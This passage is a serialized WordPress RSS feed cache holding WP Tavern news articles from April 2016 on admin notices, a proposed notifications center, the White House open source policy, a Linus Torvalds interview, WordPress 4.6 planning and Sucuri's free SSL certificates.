1.4 release, DeVore plans to get the theme ready for submission to the official WordPress theme directory.</p>\n<p><a href="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/dispensary-items.png"><img src="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/dispensary-items.png?resize=887%2C524" alt="dispensary-items" class="alignright size-full wp-image-53878" /></a></p>\n<p>WP Dispensary is also fully integrated with the WP REST API so developers can pull data from the custom post types and display it with JavaScript in a website or app. This currently requires the <a href="https://wordpress.org/plugins/rest-api/" target="_blank">REST API plugin version 2</a> until the API is officially merged into core.</p>\n<p>WP Dispensary is 100% open source and available for anyone to <a href="https://wordpress.org/plugins/wp-dispensary/" target="_blank">download for free from WordPress.org</a>. Full <a href="http://www.wpdispensary.com/documentation/" target="_blank">documentation</a> is available for the plugin on the WP Dispensary project website, which includes instructions for setting it up, information on add-ons, and additional plugin suggestions. The plugin is also <a href="https://github.com/deviodigital/wp-dispensary" target="_blank">available on GitHub</a> if you want to contribute bug fixes or improvements.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 20 Apr 2016 20:09:33 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:41;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:68:"WPTavern: The Quest For a Centralized WordPress Notifications Center";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=53785";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:78:"http://wptavern.com/the-quest-for-a-centralized-wordpress-notifications-center";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:9813:"<p>Based on the number of comments we received on <a href="http://wptavern.com/please-stop-abusing-wordpress-admin-notices">WordPress admin notices</a> being abused, it&#8217;s clear that a number of you feel the same way I do. Thanks to the healthy discussion that took place, I learned several new things about admin notices I&#8217;d like to share with you.</p>\n<h2>Themes Do it Too</h2>\n<p>While the crux of the article focuses on plugins being the largest offender, the issue also applies to themes hosted in and outside of the WordPress theme directory. In one of the more extreme examples I discovered, earlier this year, <a href="https://reduxframework.com/e">Redux Framework</a> added an admin notice that informed users of a new <a href="https://reduxframework.com/extension/ad-remover/">commercial extension</a>.</p>\n<p>When users questioned <a href="https://github.com/reduxframework/redux-framework/issues/2801">how to remove the notices</a>, Redux Framework developers responded by creating a commercial extension.</p>\n<a href="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/ReduxFrameworkAdNotice.png"><img class="size-full wp-image-53826" src="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/ReduxFrameworkAdNotice.png?resize=1025%2C47" alt="Redux Framework Admin Notice" /></a>Redux Framework Admin Notice\n<p>For $59 a year, the extension removes admin notices, ads from the options panel, and the dashboard news widget. Even though the notices and ads are only displayed when the framework&#8217;s dev mode is enabled, it seems like a ridiculous way to generate revenue.</p>\n<p>While researching for this article, I discovered that Dovy Paukstys, Co-Founder and lead developer of Redux Framework, is in the process of removing advertising from current and future admin notices. Paukstys provided the Tavern with the following statement:</p>\n<blockquote><p>As a fellow developer, I can see how frustrating an admin notice can be when used as an ad. To support the requests of the community, we will no longer use admin notices to advertise premium features. We will use admin notices for their intended purpose, to inform and educate our users.</p>\n<p>We hope that other frameworks, plugins, and products will follow suit.</p></blockquote>\n<h2>WP Notification Center</h2>\n<p>Inspired by our article, WPBeginner looks into whether or not <a href="http://www.wpbeginner.com/opinion/does-wordpress-need-a-notification-center-we-think-so-how-about-you/">WordPress needs a notification center</a>. As it turns out, there are a couple of different plugins and projects in the works aiming to solve this problem.</p>\n<p>The <a href="https://wordpress.org/plugins/wp-notification-center/">WP Notification Center</a> plugin, developed by Barry Kooij and Never5, adds a <a href="http://www.barrykooij.com/wordpress-notification-manager/">notification center</a> to WordPress. This plugin moves admin notices to a central location freeing up valuable screen real-estate.</p>\n<a href="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/04/WPNotificationCenter.png"><img class="size-full wp-image-53828" src="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/04/WPNotificationCenter.png?resize=638%2C155" alt="WP Notification Center" /></a>WP Notification Center\n<p>When activated, a notifications area is added to the admin bar. This tells you the number of notices available and provides quick viewing access. The messages are also color coded to easily tell the difference between update and error messages.</p>\n<p>Links within the notice take you to the corresponding admin page to view more details. Unfortunately, you can&#8217;t dismiss notices from the admin toolbar without navigating to the links within them. According to Kooij, dismissing notices is a difficult problem to fix.</p>\n<blockquote><p>The admin notices are added in code so I can&#8217;t stop them from being added. That means I would need to store what notices are dismissed and check all added notices on every admin page load to filter out the ones that are dismissed.</p>\n<p>It&#8217;s the other way around from an ideal situation, where a notice would be added to the database and I can simply remove it when it&#8217;s dismissed.</p></blockquote>\n<p>As for the possibility of getting WP Notification Center into core, &#8220;I would love to write a patch for core that would set this up the right way,&#8221; Kooij said. &#8220;That would eventually involve deprecating and stop displaying notifications that are being added the old way.&#8221;</p>\n<p>If you&#8217;re interested in tackling this problem or would like to contribute to other facets of the project, you can find it <a href="https://github.com/barrykooij/wp-notification-center">on GitHub</a> where issues and pull requests are welcomed.</p>\n<h2>WordPress Notifications API</h2>\n<p>During the WordPress Core developer chat <a href="https://make.wordpress.org/core/2016/01/13/core-dev-chat-notes-for-jan-13/">back in January</a>, John Blackbourn proposed a Notifications API that would replace <code>wp_mail()</code> with an extensible API. The API could be hooked into by developers to send notifications via webhooks that would enable Slack and IM notifications. There would also be UI added so users and admins can choose which individual notifications and types to opt-in/out of.</p>\n<p>The API is not directly relevant to admin notices but it&#8217;s possible they could be connected in the future. Blackbourn plans to publish a detailed blog post outlining the idea in-depth within the next week or two.</p>\n<h2>Jetpack Notifications</h2>\n<p>Jetpack handles notifications via a module that adds an icon to the toolbar. Notifications include, Likes, Comments, Follows, and the ability to moderate and reply to comments.</p>\n<a href="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/04/JetpackNotifications.png"><img class="size-full wp-image-53846" src="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/04/JetpackNotifications.png?resize=406%2C422" alt="Jetpack Notifications" /></a>Jetpack Notifications\n<p>I use this notifications area all the time to moderate and respond to comments. It&#8217;s convenient and usually loads items quickly. However, I&#8217;m not sure how well the interface would work if admin notices from themes and plugins were added.</p>\n<h2>Subscribers Can Possibly See Admin Notices</h2>\n<p>One of the most surprising <a href="http://wptavern.com/please-stop-abusing-wordpress-admin-notices#comment-165057">things I&#8217;ve learned</a> is that users who are subscribers can <em>possibly</em> see admin notices. On the surface, this doesn&#8217;t make sense as subscribers don&#8217;t have the capabilities necessary to act on notices. I tested this theory on the WP Tavern test site by activating both Yoast SEO and the All in One SEO plugin.</p>\n<p>This is what I see while logged in as an admin.</p>\n<a href="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/04/AdminNoticesSEO.png"><img class="size-full wp-image-53847" src="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/04/AdminNoticesSEO.png?resize=1025%2C293" alt="Admin Notices While Logged in as Admin" /></a>Admin Notices While Logged in as Admin\n<p>This is the same dashboard while logged in as a subscriber.</p>\n<a href="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/04/AdminNoticesWhileASubscriber.png"><img class="size-full wp-image-53848" src="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/04/AdminNoticesWhileASubscriber.png?resize=1025%2C380" alt="Admin Notices While Logged in as A Subscriber" /></a>Admin Notices While Logged in as A Subscriber\n<p>As you can see, the notices disappear when logged in as a subscriber. While I initially thought this was an issue in core, it appears to be more of a developer issue. JS Morisset, who <a href="http://wptavern.com/please-stop-abusing-wordpress-admin-notices#comment-165464">commented on the original article</a> has a possible explanation:</p>\n<blockquote><p>The word &#8216;admin&#8217; (for notices) could be interpreted in two ways — either they’re admin / back-end notices, or they’re administrator notices.</p>\n<p>I’ve always understood that they are the former (notices displayed on the admin back-end), and can be seen by any / all back-end users, so I use &#8216;current_user_can()&#8217; in my own code to display different kinds of messages. Maybe this is more of a developer awareness issue than a core WP issue.</p></blockquote>\n<p>While I have not analyzed the code in the plugins I tested, the <a href="https://developer.wordpress.org/reference/functions/current_user_can/">current_user_can()</a> capability check would explain why admins see notices while subscribers do not.</p>\n<h2>What I&#8217;d Like to See in a Centralized WordPress Notifications Center</h2>\n<p>Admin notices are a great way for developers to inform users of important information. But with all the notices bombarding site administrators these days, there&#8217;s a need for an organizational user interface to manage them all. When considering the types of notifications to allow and display, a notification center in WordPress can easily turn into a deep rabbit hole.</p>\n<p>What I&#8217;d like to see is a notification center that notifies me of core, plugin, and theme updates in addition to whatever notices those items generate. I also want it to tell me about errors on the site. These notifications should be in an easy-to-use interface that&#8217;s quick to access. Notifications should be dismissable or have a status where they can be marked as read.</p>\n<p>As seen above, there are plenty of people and projects working on solutions to this problem. What would be your ideal WordPress notifications center?</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 20 Apr 2016 02:11:41 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Jeff Chandler";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:42;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:107:"WPTavern: Developers Urge White House to Consider “Open by Default” for New Open Source Software Policy";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=53787";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:111:"http://wptavern.com/developers-urge-white-house-to-consider-open-by-default-for-new-open-source-software-policy";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:7190:"<a href="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/03/white-house.jpg"><img src="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/03/white-house.jpg?resize=1024%2C520" alt="photo credit: The White House Washington DC - (license)" class="size-full wp-image-52474" /></a>photo credit: <a href="http://www.flickr.com/photos/71380981@N06/19902559769">The White House Washington DC</a> &#8211; <a href="https://creativecommons.org/licenses/by-nc-nd/2.0/">(license)</a>\n<p>Last month the White House <a href="http://wptavern.com/white-house-seeks-feedback-on-github-for-government-wide-open-source-software-policy" target="_blank">called for developers to comment on its proposed draft</a> for a Government-wide Open Source Software policy. The new policy would require code paid for by the government to be made available for reuse across other federal agencies and a portion (20%) of the custom code would be released as open source.</p>\n<p>The period for public comment officially ended yesterday and now the <a href="https://www.whitehouse.gov/omb/" target="_blank">White House Office of Management and Budget (OMB)</a> will analyze the feedback on GitHub to refine the final policy.</p>\n<h3>CIO of the Department of Homeland Security Affirms Benefits of Open Source for Cybersecurity</h3>\n<p>Yesterday, Luke McCormack, the Chief Information Officer of the Department of Homeland Security, offered <a href="https://github.com/whitehouse/source-code-policy/issues/222" target="_blank">formal comments on GitHub</a>, affirming the benefits of open source, especially in regard to cybersecurity:</p>\n<blockquote><p>When managed appropriately, releasing code as OSS and engaging with the community can have extensive cybersecurity benefits. Security through obscurity is not true security: we cannot depend on vulnerabilities not being exploited just because they have not been discovered yet. There are many examples of widely-used pieces of software that benefit greatly from constant and vigorous community reviews and contributions to find bugs, and thus making them more secure. We look forward to government systems joining them.</p></blockquote>\n<p>McCormack&#8217;s clarification of the department&#8217;s official position combats the common misconception that open source code is inherently insecure. The comment also affirms the department&#8217;s support for working with the open source community.</p>\n<p>&#8220;Participation in the open source community will further strengthen our systems and help fulfill the mission of the Department,&#8221; McCormack said. &#8220;Likewise, we believe in the potential of this policy to incentivize innovation and enable a new generation of companies to do business with the Government.&#8221;</p>\n<h3>Developers Push for an &#8220;Open by Default&#8221; Policy</h3>\n<p>The proposed policy encourages federal agencies to work together to make reusable modules and to build active communities around the open source code they release. It is a better use of American tax dollars, but there is also a significant contingency of developers who believe the policy doesn&#8217;t go far enough with its arbitrary 20% requirement.</p>\n<p>In an issue titled &#8220;<a href="https://github.com/WhiteHouse/source-code-policy/issues/90" target="_blank">Software should be &#8220;Open by default&#8221; not 20%</a>,&#8221; the Presidential Innovation Fellows Foundation (PIFF) shared the following statement summarizing the general consensus of its 120 members:</p>\n<blockquote><p>The PIF Foundation membership strongly believes that it is in the best interest of increased government efficiency and taxpayer savings for the OMB to set a policy of &#8216;open by default&#8217; for custom software developed by the Federal Government rather than setting a goal of at least 20% OSS as originally proposed in the source code policy.</p></blockquote>\n<p><a href="http://ben.balter.com/" target="_blank">Ben Balter</a>, open source advocate and product manager at GitHub, <a href="https://github.com/WhiteHouse/source-code-policy/issues/90#issuecomment-207820011" target="_blank">expanded</a> on why the PIFF believes that taxpayer-funded government code should be open by default. Balter penned an <a href="https://fcw.com/articles/2016/04/11/balter-open-source-opinion.aspx" target="_blank">op-ed for FCW</a> about how the proposed open source policy, with its 20% requirement, is a missed opportunity to modernize government. He contends that the proposed three-year pilot program will not likely produce results beyond what is already known, as open source has already undergone a two-decade pilot. By 2019, the push for &#8216;open by default&#8217; will be long overdue:</p>\n<blockquote><p>It&#8217;s no secret that government agencies lag behind the private sector with regard to technology, and the proposed source code policy hesitantly testing the waters of open source is no exception. Open source software isn&#8217;t a potential fad to be cautiously evaluated as part of a three-year pilot program, nor are the benefits unknown or unproven in large enterprises. Open source is simply how industry builds software today. You&#8217;d be hard-pressed to find a startup worth its venture capital funding that isn&#8217;t based, at least in part, on open source software. The same holds true of most industry leaders, already embracing open source as a core part of their business strategy, including Microsoft, Apple, Google, IBM, SAP and Adobe to name a few.</p></blockquote>\n<p>Mozilla representatives also <a href="https://github.com/WhiteHouse/source-code-policy/issues/159" target="_blank">commented on the issue</a> to affirm its support for “open by default” and clear international licensing. The company identified four key reasons for shooting for 100% rather than mandating a minimum requirement:</p>\n<ul>\n<li>Open source by default is consistent with the principle that the public should receive maximal benefit from the expenditure of their tax dollars.</li>\n<li>Software produced in the open will be of high quality and will help promote the public’s trust due to the extra scrutiny it can receive and the potential contribution of external interested parties.</li>\n<li>The additional burden of opening source code to the public should not be great if the software already has to be prepared for sharing within the Federal government.</li>\n<li>The burden of tracking, assessing and reporting on percentages is removed, as is the problem of deciding how to make the measurements in the first place.</li>\n</ul>\n<p>Mozilla and many others commenting on the issue are urging the White House to reject the notion of an arbitrary 20% target and instead aim for open source from the outset, removing sensitive parts of the code base as necessary.</p>\n<p>It&#8217;s unclear how much weight this particular issue will hold in the creation of the final policy, but the opportunity for industry experts to comment on and contribute to the process is already a major step forward. The policy is still in draft status and we will publish an update once the OMB has finalized its decision.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 19 Apr 2016 22:35:41 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:43;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:77:"WPTavern: Linus Torvalds Explains How Open Source Led to the Success of Linux";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=53795";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:87:"http://wptavern.com/linus-torvalds-explains-how-open-source-led-to-the-success-of-linux";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:4722:"<p><a href="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/TED-linus-torvalds-interview.png"><img src="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/TED-linus-torvalds-interview.png?resize=1025%2C570" alt="TED-linus-torvalds-interview" class="aligncenter size-full wp-image-53797" /></a></p>\n<p>In a rare and deeply personal <a href="http://www.ted.com/talks/linus_torvalds_the_mind_behind_linux" target="_blank">interview</a> with TED Curator Chris Anderson, Linus Torvalds spoke about how open source made his projects what they are today. Torvalds, creator of the Linux kernel and the Git version control system, revealed that he prefers to work alone, in his bathrobe, in total silence. Although he heads up one of the largest open source projects in the world, with 1,000 contributors involved in every bimonthly release, Torvalds claims he is not a people person.</p>\n<p>&#8220;I did not start Linux as a collaborative project,&#8221; Torvalds said. &#8220;I started it as one in a series of many projects I had done at the time for myself, partly because I needed the end result, but even more because I just enjoyed programming.&#8221;</p>\n<p>Torvalds said that open source wasn&#8217;t really on his radar at all. As Linux grew, it became something he wanted to show off to people and he made it publicly available. It wasn&#8217;t even open source at that point, which was mainly called &#8220;free software&#8221; back then. He had no intention of using open source to improve his project. He simply invited comments on his project and, to his amazement, people took interest in the code and started contributing ideas.</p>\n<p>&#8220;Every project before that had been completely personal, and it was a revelation when people just started commenting, started giving feedback on your code,&#8221; Torvalds said.</p>\n<p>As the Linux project grew, thousands of people wanted to contribute. Torvalds said that it reached a breaking point where he knew he couldn&#8217;t scale it to work with that many people without having some kind of version control system in place.</p>\n<p>&#8220;So git is my second project, which was only created for me to maintain my first project,&#8221; he said. &#8220;And this is literally how I work. I do code for fun, but I want to code for something meaningful. Every single project that I&#8217;ve ever done has been for something I needed.&#8221;</p>\n<p>Ironically, for someone who professes not to be a people person, Torvalds revolutionized collaborative development for teams and projects with Git. He said that he has often been in conflict with other people and can be &#8220;myopic when it comes to other people&#8217;s feelings.&#8221; Open source gave him a way to work effectively with other people:</p>\n<blockquote><p>One of the things I really like about open source is it allows different people to work together. We don&#8217;t have to like each other, and sometimes we really don&#8217;t like each other. There are very, very heated arguments. You don&#8217;t even agree to disagree &#8211; it&#8217;s just that you&#8217;re interested in different things. </p>\n<p>Coming back to the point that I said earlier, that I was afraid of commercial people taking advantage of your work &#8211; It very quickly turned out that those commercial people were lovely people. And they did all the things that I was not at all interested in doing and they had completely different goals. And they used open source in ways that I just did not want to go. But because it was open source they could do it and it actually works really beautifully together.</p></blockquote>\n<p>One of the most interesting things about his story is that he first embraced open source out of practicality, not because of ideological convictions.</p>\n<p>&#8220;Without doing the whole open-source-and-really-letting-go thing, Linux would never have been what it is,&#8221; Torvalds said. Even so, he said he doesn&#8217;t necessarily think the principle can be applied to other aspects of life beyond code without a lot of grey areas.</p>\n<p>Despite having changed the future by creating technology that powers the internet, Torvalds does not consider himself a visionary.</p>\n<p>&#8220;I am not a visionary,&#8221; he said. &#8220;I do not have a five year plan. I&#8217;m an engineer. I&#8217;m perfectly happy with all the people who are walking around staring at the clouds and looking at the stars and saying, &#8216;I want to go there.&#8217; But I&#8217;m looking at the ground and I want to fix the pothole that&#8217;s right in front of me before I fall in.&#8221;</p>\n<p>Check out the 21-minute interview in the video below:</p>\n<p></p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 19 Apr 2016 05:05:16 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:44;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:90:"WPTavern: WordPress 4.6 Development Kicks Off This Week, Dominik Schilling to Lead Release";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=53759";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:99:"http://wptavern.com/wordpress-4-6-development-kicks-off-this-week-dominik-schilling-to-lead-release";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:4254:"<a href="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/04/sharpened-pencil.jpg"><img src="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/04/sharpened-pencil.jpg?resize=960%2C511" alt="photo credit: Angelina Litvin" class="size-full wp-image-53775" /></a>photo credit: <a href="https://stocksnap.io/photo/JLXDNN5BNE">Angelina Litvin</a>\n<p>As soon as WordPress 4.5 was out the door, WordPress 4.6 release lead Dominik Schilling opened up the floor for <a href="https://make.wordpress.org/core/2016/04/14/wordpress-4-6-whats-on-your-wish-list/" target="_blank">discussion on wish list items</a> ahead of the kickoff chat on Wednesday. The development community chimed in with feedback on their users’ biggest pain points, important UX issues to be solved, and existing features they would like to see polished.</p>\n<p>If the 200+ comments on the post are any indication, WordPress users and contributors are buzzing with ideas for improving the software in the upcoming release. The Make/WordPress core blog doesn&#8217;t have a voting system, but a few of the wish list items with the most +1&#8217;s include:</p>\n<ul>\n<li>Many-to-many relationships between posts and users (à la <a href="https://wordpress.org/plugins/posts-to-posts/" target="_blank">Posts 2 Posts</a>)</li>\n<li>Group ownership and content management</li>\n<li>Custom post statuses</li>\n<li>Multi-author support for single page/post/term items</li>\n<li>Fix long-standing <a href="https://core.trac.wordpress.org/ticket/4539" target="_blank">issues with wptexturize</a></li>\n<li><a href="https://core.trac.wordpress.org/query?status=!closed&keywords=~https" target="_blank">HTTPS improvements</a></li>\n<li>Add a new core <a href="https://core.trac.wordpress.org/ticket/32417" target="_blank">media widget</a></li>\n<li><a href="https://core.trac.wordpress.org/ticket/16379" target="_blank">Better UI for creating a &#8220;front&#8221; page</a></li>\n<li>Support for <a href="https://core.trac.wordpress.org/ticket/19627" target="_blank">allowing themes to register a static front page</a> to be automatically turned on at activation</li>\n<li>Remove the plugin/theme editor and make it into a plugin</li>\n<li>Fields API</li>\n<li><a href="https://core.trac.wordpress.org/ticket/12668" target="_blank">Custom Comment Types</a></li>\n<li><a href="https://core.trac.wordpress.org/ticket/21022" target="_blank">Use bcrypt for passwords</a></li>\n</ul>\n<p>Ella Van Dorpe also posted a <a href="https://make.wordpress.org/core/2016/04/12/editor-wish-list-4-6/" target="_blank">summary</a> of the most recent meeting for contributors on the core editor component. The team discussed a wish list for the editor in 4.6 and beyond, including the possibility of creating a feature plugin that uses <a href="https://nytimes.github.io/ice/demo/" target="_blank">ICE</a> to allow suggestions and comments on content. A <a href="https://core.trac.wordpress.org/ticket/36474" target="_blank">revamp of the Publish meta box</a>, more experimentation with inline toolbars, more formatting shortcodes, and other improvements are also on the list.</p>\n<p>Weston Ruter and contributors plan to continue chipping away at the <a href="https://make.wordpress.org/core/2015/09/23/outlining-a-possible-roadmap-for-the-customizer/" target="_blank">customizer roadmap</a> and component page with a focus on <a href="https://make.wordpress.org/core/2015/01/26/customizer-transactions-proposal/" target="_blank">customizer transactions</a>. Ruter would also like to introduce <a href="https://core.trac.wordpress.org/ticket/34923" target="_blank">basic content authorship</a> in the customizer in 4.6, along with improvements to existing features.</p>\n<p>The 4.6 <a href="https://make.wordpress.org/core/2016/04/14/wordpress-4-6-whats-on-your-wish-list/" target="_blank">wish list</a> offers a small preview of what might be coming in this release, and there&#8217;s still time to contribute new items and feedback. If you want to advocate for your ticket or wish list item, join the WordPress 4.6 kickoff chat in the #core Slack channel on Wednesday at <a href="http://www.timeanddate.com/worldclock/fixedtime.html?iso=20160420T2000" target="_blank">3:00PM CDT</a>.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 18 Apr 2016 18:25:27 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:45;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:94:"WPTavern: Sucuri Partners with Let’s Encrypt to Offer Free SSL Certificates to All Customers";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=53721";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:101:"http://wptavern.com/sucuri-partners-with-lets-encrypt-to-offer-free-ssl-certificates-to-all-customers";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:3363:"<p><a href="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/ssl.png"><img src="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/ssl.png?resize=650%2C181" alt="ssl" class="aligncenter size-full wp-image-53744" /></a></p>\n<p><a href="http://sucuri.net/" target="_blank">Sucuri</a>, a website security company that specializes in securing WordPress (and other CMS) sites, <a href="https://blog.sucuri.net/2016/04/sucuri-firewall-free-letsencrypt-ssl-certs-for-everyone.html" target="_blank">announced</a> that SSL certificates are now available at no cost to all customers who make use of the company&#8217;s <a href="https://sucuri.net/website-firewall/" target="_blank">firewall</a>. As a <a href="https://letsencrypt.org/sponsors/" target="_blank">sponsor of the Let&#8217;s Encrypt initiative</a>, Sucuri joins <a href="http://wptavern.com/automattic-partners-with-lets-encrypt-to-enable-https-on-all-wordpress-com-websites" target="_blank">Automattic</a> as one of the first companies to fully automate free SSL Certificates for all customers. The company has also enabled the new HTTP/2 protocol by default, which offers significant performance advantages compared to raw 